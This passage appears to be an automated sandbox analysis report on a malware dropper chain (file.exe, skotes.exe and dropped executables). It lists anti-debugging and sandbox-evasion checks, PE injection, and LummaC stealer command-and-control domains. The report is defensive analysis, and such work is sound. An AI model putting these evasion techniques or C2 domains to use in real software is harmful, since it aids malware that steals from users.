Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Thread delayed: delay time: 119997	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Thread delayed: delay time: 119998	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Thread delayed: delay time: 120000
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Thread delayed: delay time: 120000
Source: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	Thread delayed: delay time: 120000
Source: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	Thread delayed: delay time: 120000

Source: file.exe, skotes.exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPh
Source: f2cd5ac1bd.exe, 0000001E.00000002.2954336549.00000000013EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2563109445.00000000014FA000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2564846017.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498006655.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, f2cd5ac1bd.exe, 0000001E.00000002.2954336549.0000000001414000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, skotes.exe.0.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 00000005.00000002.3023335135.0000000001519000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 7bOe0mBZpcivp612.exe, 00000008.00000002.2940286566.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, xHdN9si8LjqmZs2y.exe, 0000000B.00000002.2936675240.000000000100E000.00000004.00000020.00020000.00000000.sdmp, WT0pal2n7uSoixsQ.exe, 0000000E.00000002.2933913781.000000000154E000.00000004.00000020.00020000.00000000.sdmp, LOVI3rtjoHDpADyV.exe, 00000018.00000002.2979246231.000000000125E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep	graph_11-22953
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep	graph_8-22942

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_05390AF6 Start: 05390B9C End: 05390B98

5_2_05390AF6

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04EE0174 rdtsc

0_2_04EE0174

Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe

Code function: 7_2_00E5227E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

7_2_00E5227E

Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe

7_2_00E47CD0

Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe

Code function: 12_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

12_2_00402665

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2652B mov eax, dword ptr fs:[00000030h]	0_2_00B2652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2A302 mov eax, dword ptr fs:[00000030h]	0_2_00B2A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0062A302 mov eax, dword ptr fs:[00000030h]	1_2_0062A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0062652B mov eax, dword ptr fs:[00000030h]	1_2_0062652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0062A302 mov eax, dword ptr fs:[00000030h]	5_2_0062A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0062652B mov eax, dword ptr fs:[00000030h]	5_2_0062652B

Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe

Code function: 7_2_00E68082 GetProcessHeap,

7_2_00E68082

Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E5227E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00E5227E
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E5240A SetUnhandledExceptionFilter,	7_2_00E5240A
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E5162F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00E5162F
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E55EF3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_00E55EF3
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_0097227E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0097227E
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_0097240A SetUnhandledExceptionFilter,	8_2_0097240A
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_0097162F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_0097162F
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_00975EF3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00975EF3
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B5227E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00B5227E
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B5240A SetUnhandledExceptionFilter,	11_2_00B5240A
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B5162F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00B5162F
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B55EF3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00B55EF3
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_0066227E IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_0066227E
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_0066240A SetUnhandledExceptionFilter,	14_2_0066240A
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_0066162F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_0066162F
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_00665EF3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00665EF3

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe

Memory written: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: 378e4894d2.exe	String found in binary or memory: diffuculttan.xyz
Source: 378e4894d2.exe	String found in binary or memory: debonairnukk.xyz
Source: 378e4894d2.exe	String found in binary or memory: deafeninggeh.biz
Source: 378e4894d2.exe	String found in binary or memory: effecterectz.xyz
Source: 378e4894d2.exe	String found in binary or memory: shineugler.biz
Source: 378e4894d2.exe	String found in binary or memory: immureprech.biz

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe "C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe "C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe "C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe "C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe "C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe "C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	Process created: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe "C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe"

Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe

Code function: 12_2_00402744 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

12_2_00402744

Source: 378e4894d2.exe, 378e4894d2.exe, 00000006.00000002.2556878871.0000000000F40000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: +Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_0060DD91 cpuid

5_2_0060DD91

Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: EnumSystemLocalesW,	7_2_00E6A0CF
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: EnumSystemLocalesW,	7_2_00E6A084
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	7_2_00E6A1F5
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: EnumSystemLocalesW,	7_2_00E6A16A
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: EnumSystemLocalesW,	7_2_00E624E6
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: GetLocaleInfoW,	7_2_00E6A448
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_00E6A571
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: GetLocaleInfoW,	7_2_00E6A677
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: GetLocaleInfoEx,FormatMessageA,	7_2_00E4F7B7
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	7_2_00E6A74D
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: GetLocaleInfoW,	7_2_00E62AA9
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	7_2_00E69DD8
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: EnumSystemLocalesW,	8_2_0098A084
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: EnumSystemLocalesW,	8_2_0098A0CF
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	8_2_0098A1F5
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: EnumSystemLocalesW,	8_2_0098A16A
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: EnumSystemLocalesW,	8_2_009824E6
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: GetLocaleInfoW,	8_2_0098A448
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_0098A571
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: GetLocaleInfoW,	8_2_0098A677
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: GetLocaleInfoEx,FormatMessageA,	8_2_0096F7B7
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_0098A74D
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: GetLocaleInfoW,	8_2_00982AA9
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	8_2_00989DD8
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: EnumSystemLocalesW,	11_2_00B6A084
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: EnumSystemLocalesW,	11_2_00B6A0CF
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	11_2_00B6A1F5
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: EnumSystemLocalesW,	11_2_00B6A16A
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: EnumSystemLocalesW,	11_2_00B624E6
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: GetLocaleInfoW,	11_2_00B6A448
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	11_2_00B6A571
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: GetLocaleInfoW,	11_2_00B6A677
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: GetLocaleInfoEx,FormatMessageA,	11_2_00B4F7B7
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	11_2_00B6A74D
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: GetLocaleInfoW,	11_2_00B62AA9
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	11_2_00B69DD8
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,	12_2_0040247D
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: EnumSystemLocalesW,	14_2_0067A0CF
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: EnumSystemLocalesW,	14_2_0067A084
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: EnumSystemLocalesW,	14_2_0067A16A
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	14_2_0067A1F5
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: GetLocaleInfoW,	14_2_0067A448
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: EnumSystemLocalesW,	14_2_006724E6
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	14_2_0067A571
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: GetLocaleInfoW,	14_2_0067A677
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	14_2_0067A74D
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: GetLocaleInfoEx,FormatMessageA,	14_2_0065F7B7
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: GetLocaleInfoW,	14_2_00672AA9
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	14_2_00679DD8

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B0CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00B0CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_005F65E0 LookupAccountNameA,

5_2_005F65E0

Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe

Code function: 7_2_00E66682 GetTimeZoneInformation,

7_2_00E66682

Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe

Code function: 12_2_00405BFC ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z,GetVersionExW,GetCommandLineW,lstrlenW,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetModuleFileNameW,_wtol,??2@YAPAXI@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCommandLineW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCurrentProcess,SetProcessWorkingSetSize,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,CoInitialize,lstrlenW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,GetKeyState,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetFileAttributesW,??3@YAXPAX@Z,??3@YAXPAX@Z,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPA